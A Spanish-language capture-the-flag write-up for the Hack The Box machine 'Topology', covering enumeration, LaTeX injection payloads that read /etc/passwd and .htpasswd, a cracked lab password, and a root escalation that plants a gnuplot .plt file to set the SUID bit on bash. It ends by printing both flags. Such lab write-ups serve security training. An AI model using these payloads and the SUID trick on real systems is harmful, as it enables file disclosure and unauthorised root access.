Topology - Hack The Box
En esta máquina que es catalogada como fácil, logramos acceso al equipo gracias a unas credenciales que encontramos mediante una divulgación de archivos , provocada por una inyección con látex desde la web. Para escalar privilegios, con pspy vimos una tarea que se ejecutaba a intervalor regulares de tiempo, con eso pude ejecutar un comando como root con el programa gnuplot
, para eso nos ayudamos de un recurso que encontramos en google que nos dice que solo creando un archivo con la extensión adecuada podiamo ejecutar codido en el sistema
Reconocimiento
Directorios de trabajo
1
2
3
mkdir topology
cd topology
mkdir nmap content exploit
nmap
1
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -sCV 10.10.11.217 -oN version-port
version-port
1
2
3
4
5
6
7
8
9
10
11
Nmap scan report for 10.10.11.217
Host is up (0.088s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
| 256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
|_ 256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open http
|_http-title: Miskatonic University | Topology Group
- 22: ssh
- De momento no voy a tocar este puerto, no cuento con credenciales
- 80: http
- El servicio http está relacionado con la web.
80: http
http
nmap no me muestra algo relevante en la parte web, como siempre hagamos algo de reconocimiento web para identificar tecnologías, gestores de contenido y otras cosas con herramientas básicas como whatweb
y wappalyzer
whatweb
1
whatweb 10.10.11.217
whatweb
Listo ahora veamos cómo luce la página desde firefox
firefox
Con el plugin Wappalyzer podemos darnos idea de las cosas que funcionan tras el servidor web
wappalyzer
ahora de curioso voy a lanzar el gobuster a ver que logro encontrar algo, va ser un un diccionario chiquito para no saturar el servidor, ya veré si luego lanzo otro diccionario más extenso
gobuster
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gobuster dir -u 10.10.11.217 -w /opt/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.217
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/11/04 01:15:41 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/css (Status: 301) [Size: 310] [--> http://10.10.11.217/css/]
/images (Status: 301) [Size: 313] [--> http://10.10.11.217/images/]
/index.html (Status: 200) [Size: 6767]
/javascript (Status: 301) [Size: 317] [--> http://10.10.11.217/javascript/]
/server-status (Status: 403) [Size: 277]
/~bin (Status: 403) [Size: 277]
/~lp (Status: 403) [Size: 277]
/~mail (Status: 403) [Size: 277]
/~nobody (Status: 403) [Size: 277]
/~sys (Status: 403) [Size: 277]
Bueno por ahora nada valioso, solo que usa Apache HTTP Server como servidor web, y que el sistema operativo es un ubuntu. Me pongo en marcha con el reconocimiento, nunguno de los botones me lleva a algún lugar, pero hay un comentario con un enlace q ue dice Generador de ecuaciones en Latex
según Wikipedia
Es un sistema de composición de textos, orientado a la creación de documentos escritos que presenten una alta calidad tipográfica.
listo todo claro :v , cuando intento acceder al link aparece un dominio que mi equipo no sabe resolver
ya saben, esto se puede solucionar agregando el dominio y sub domion al /etc/hosts
/etc/hosts
1
2
3
4
5
6
7
8
9
# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Others
10.10.11.217 topology.htb latex.topology.htb
sabiendo que pueden haber otros sub dominios me doy a la tarea de ver si encuentro para también ponerlos en el archivo /etc/ho sts
wfuzz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
wfuzz -c --hc=404 --hw=545 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.topology.htb" 10.10.11
.217 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.217/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 401 14 L 54 W 463 Ch "dev"
000000061: 200 5 L 9 W 108 Ch "stats"
000000243: 200 7 L 11 W 154 Ch "latex"
- dev
- stats
- latex
ahora sí, mi equipo puede identificar esos dominios y la página se ve de esta forma
Vale, en este punto vamos a notar que de alguna forma tenemos que ejecutar comandos o leer archivos de la máquina atraves de es ta entrada, lo que hace es generar ecuaciones , o lo que le pongas ahí, pasándolo a un pdf que posteriormente se ve desde la web
di con algunas páginas , una de ellas fué PayloadAllTheThings
esta es la que me sirvió para darme una idea de lo que tenia que hacer
inyección con látex
inyección con látex (1)
1
2
3
4
5
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file
el problema es que solo me muestra una sola línea, para solucionar esto solo tenemos que agregar $
al comienzo y al final de la línea, eso indica que se trata de fórmulas en una sola línea
inyección con látex (2)
1
$\lstinputlisting{/etc/passwd}$
se me ocurrió en su momento ver el
- /home/vdaisley/.ssh/id_rsa
- /etc/shadow
pero no tuve éxito, luego recorde un archivo que vi cuando lancé el gobuster
ese archio es
- .htpasswd
- Es un archivo de texto que se usa para guardar los nombres de usuario y las contraseñas para la autenticación básica del Servidor HTTP Apache.
cabe recalcar que no siempre funciona, pero en este caso si
el dato curioso es que no es en /var/www/html
, esto está relacionado a los sub dominios que encontré
- /var/www/latex/.htpasswd
- /var/www/stats/.htpasswd
- /var/www/dev/.htpasswd
solo vi cosas en /var/www/dev/.htpasswd
, y no es cualquier cosa, son credenciales
guardo esas credenciales en un archivo llamado cred
y ahora lo rompo con john
john the ripper
1
2
3
4
5
6
7
8
9
10
11
12
sudo john -w:/usr/share/wordlists/rockyou.txt cred
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
calculus20 (vdaisley)
1g 0:00:00:02 DONE (2023-11-04 01:49) 0.4504g/s 448518p/s 448518c/s 448518C/s callel..caitlyn09
Use the "--show" option to display all of the cracked passwords reliably
Session completed
ya tengo credenciales para validarlas por el servicio ssh, y ver si podemos entrar al sistema
intrusion
22: ssh
ahora intento ver la flag pero no tenemos permiso para hacerlo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-bash-5.0$ ls
pspy64 texput.log user.txt
-bash-5.0$ ls -la
total 3080
drwxr-xr-x 5 vdaisley vdaisley 4096 Nov 3 17:47 .
drwxr-xr-x 3 root root 4096 May 19 13:04 ..
lrwxrwxrwx 1 root root 9 Mar 13 2022 .bash_history -> /dev/null
-rw-r--r-- 1 vdaisley vdaisley 220 Jan 17 2023 .bash_logout
-rw-r--r-- 1 vdaisley vdaisley 3771 Jan 17 2023 .bashrc
drwx------ 2 vdaisley vdaisley 4096 May 19 13:04 .cache
drwx------ 3 vdaisley vdaisley 4096 May 19 13:04 .config
drwxrwxr-x 3 vdaisley vdaisley 4096 Nov 3 17:47 .local
-rw-r--r-- 1 vdaisley vdaisley 807 Jan 17 2023 .profile
-rwxrwxr-x 1 vdaisley vdaisley 3104768 Nov 3 13:01 pspy64
-rw------- 1 vdaisley vdaisley 17 Nov 3 13:03 .python_history
-rw-rw-r-- 1 vdaisley vdaisley 720 Nov 3 16:45 texput.log
-rw-r----- 1 root vdaisley 33 Nov 3 09:23 user.txt
-rw------- 1 vdaisley vdaisley 1366 Nov 3 17:29 .viminfo
Escalada de privilegios
listando algunos directorios comunes di con /opt
1
2
3
4
5
6
7
-bash-5.0$ pwd
/opt
-bash-5.0$ ls -la
total 12
drwxr-xr-x 3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx 2 root root 4096 Nov 3 18:00 gnuplot
y que es esto de gnuplot, bueno si no sabemos algo lo buscamos en google y ya
pero la duda es , exite algo de lo que me pueda aprovechar con todo esto? al parecer si podemo hacer algo, ya que se pueden ejecutar comando con este programa
pero no podemos ejecutar el script .plt , ni mucho menos ver los recursos del directorio /opt/gnuplot
tal vez tengamos que esperar un proceso que haga eso por nosotros. en el momento que estaba haciendo la máquina el pspy64
estaba en mi directorio personal parece que alguien ya hizo eso, y si no fuera el caso solo es clonarlo y compilargo en GO
que es pspy
Con PSPY podemos monitorizar los procesos de un equipo Linux y por lo tanto, obtener comandos ejecutados por otros usuarios, cron jobs, o argumentos pasados a determinados scripts que nos puede ser de utilidad
después de esperar un par de minutos logro ver que si hay una tarea que ejecuta los archivos de la carpeta de interés /opt/gnuplot
, y como es el usuario root, vamos a poder colar un comando
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
2023/11/04 02:31:35 CMD: UID=0 PID=2 |
2023/11/04 02:31:35 CMD: UID=0 PID=1 | /sbin/init
2023/11/04 02:32:01 CMD: UID=0 PID=30814 | /usr/sbin/CRON -f
2023/11/04 02:32:01 CMD: UID=0 PID=30813 | /usr/sbin/CRON -f
2023/11/04 02:32:01 CMD: UID=0 PID=30816 | /bin/sh /opt/gnuplot/getdata.sh
2023/11/04 02:32:01 CMD: UID=0 PID=30815 | /bin/sh -c /opt/gnuplot/getdata.sh
2023/11/04 02:32:01 CMD: UID=0 PID=30820 | cut -d -f3,7
2023/11/04 02:32:01 CMD: UID=0 PID=30819 |
2023/11/04 02:32:01 CMD: UID=0 PID=30818 |
2023/11/04 02:32:01 CMD: UID=0 PID=30825 | /usr/sbin/CRON -f
2023/11/04 02:32:01 CMD: UID=0 PID=30824 | /bin/sh /opt/gnuplot/getdata.sh
2023/11/04 02:32:01 CMD: UID=0 PID=30823 | /bin/sh /opt/gnuplot/getdata.sh
2023/11/04 02:32:01 CMD: UID=0 PID=30820 | cut -d -f3,7
2023/11/04 02:32:01 CMD: UID=0 PID=30819 |
2023/11/04 02:32:01 CMD: UID=0 PID=30818 |
2023/11/04 02:32:01 CMD: UID=0 PID=30825 | /usr/sbin/CRON -f
2023/11/04 02:32:01 CMD: UID=0 PID=30824 | /bin/sh /opt/gnuplot/getdata.sh
2023/11/04 02:32:01 CMD: UID=0 PID=30823 | /bin/sh /opt/gnuplot/getdata.sh
2023/11/04 02:32:01 CMD: UID=0 PID=30822 | grep -o load average:.*$
2023/11/04 02:32:01 CMD: UID=0 PID=30821 | uptime
2023/11/04 02:32:01 CMD: UID=0 PID=30826 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/11/04 02:32:01 CMD: UID=0 PID=30827 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/11/04 02:32:01 CMD: UID=0 PID=30828 | /bin/sh /opt/gnuplot/getdata.sh
2023/11/04 02:32:01 CMD: UID=0 PID=30829 | /bin/sh /opt/gnuplot/getdata.sh
ahora solo queda hacer el ataque, creo un archivo con la extension .plt y lo guardo en la ruta /opt/gnuplot
1
2
3
4
cd /dev/shm
echo 'system "chmod u+s /usr/bin/bash"' > pepito.plt
cp pepito.plt /opt/gnuplot
y en un par de minuto tenemos
1
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /usr/bin/bash
ahora solo queda convertirnos en root ejecutando un simple bash -p
flag de user y root
1
2
3
4
5
6
7
8
9
10
11
12
bash-5.0# ls
pspy64 texput.log user.txt
bash-5.0# cat user.txt
0c5c9b6435952a449e1be9b9fc7e571a
bash-5.0# cd /root/
bash-5.0# ls
root.txt
bash-5.0# cat root.txt
48b63ec79f141d51f0b025b9bec71b4f